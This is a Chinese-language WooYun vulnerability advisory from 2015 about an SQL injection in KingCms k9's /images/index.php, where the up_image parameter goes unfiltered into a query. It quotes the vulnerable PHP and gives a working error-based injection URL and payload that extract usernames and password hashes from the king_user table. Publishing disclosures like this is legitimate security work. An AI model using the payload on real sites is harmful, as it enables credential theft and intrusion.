当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0100607

漏洞标题:KingCms最新版(k9)注入一枚

相关厂商:KingCms

漏洞作者: 路人甲

提交时间:2015-03-11 11:49

修复时间:2015-04-30 18:48

公开时间:2015-04-30 18:48

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-11: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-04-30: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

KingCms最新版(k9)注入一枚

详细说明:

朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9(2014-12-13更新),官网下下来学习一下。
在wooyun上看到了几个漏洞,如: WooYun: kingcms最新版sql注入漏洞
注入点:GET /images/index.php?jsoncallback=1&_=1&CMD=show&up_image=1003/**/UNION/**/SELECT/**/1/**/FROM(SELECT/**/COUNT(*),CONCAT(0x23,(SELECT/**/concat(username,0x23,userpass)FROM/**/king_user/**/LIMIT/**/0,1),0x23,FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.tables/**/GROUP/**/BY/**/x)a&AJAX=1
注入参数:up_image
问题文件在/images/index.php

function _show(){	
if(empty($_POST['up_image'])) kc_tip('图片ID读取错误!');
$id=$_POST['up_image'];
$db=new db;
$rs=$db->getRows_one('%s_up_image','path','image='.$id);
if(empty($rs)) kc_tip('图片丢失!');
//读取图片长宽尺寸
$size=@getimagesize(ROOT.PATH_UP.'/'.$rs['path']);
$_width=$size[0];
$_height=$size[1];

$w=$_width;
$h=$_height;
$size=580;
if($w>$size){
$w=$size;
$h=round($size*($_height/$_width));
}
if($h>$size){
$h=$size;
$w=round($size*($_width/$_height));
}

$attrib=array('width'=>$w,'height'=>$h);
$param=http_build_query($attrib);

$s="<a href=\"".FULLURL."images/?{$id}.jpg\" target=\"_blank\"><img src=\"".FULLURL."images/?id=$id&$param&sign=".md5('id='.$id.$param.kc_config('system.salt')).".jpg\"/></a>";

kc_ajax(array(
'TITLE'=>'图像预览 W='.$_width.'px,H='.$_height.'px',
'MAIN'=>$s,
'ID'=>'k_ajax',
'WIDTH'=>$w,
'HEIGHT'=>$h
));
}


在获取到id后($id=$_POST['up_image'];)并没有进行任意过滤,kingcms也没有全局过滤,就执行了$db->getRows_one(),去看看$db->getRows_one

public function getRows_one($table,$insql='*',$where=null,$orderby=null) {
$table=str_replace('%s',DB_PRE,$table);
$sql="SELECT $insql FROM $table ";
$sql.=empty($where) ? '' : ' WHERE '.$where;
$sql.=empty($orderby) ? '' : ' ORDER BY '.$orderby;
return $this->get_one($sql);
}


同样没有过滤,因此,这里存在注入
Kingcms可以报错,因此
Payload:

1003/**/UNION/**/SELECT/**/1/**/FROM(SELECT/**/COUNT(*),CONCAT(0x23,(SELECT/**/concat(username,0x23,userpass)FROM/**/king_user/**/LIMIT/**/0,1),0x23,FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.tables/**/GROUP/**/BY/**/x)a


注入成功,见下图

成功副本.jpg

漏洞证明:

见 详细说明

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝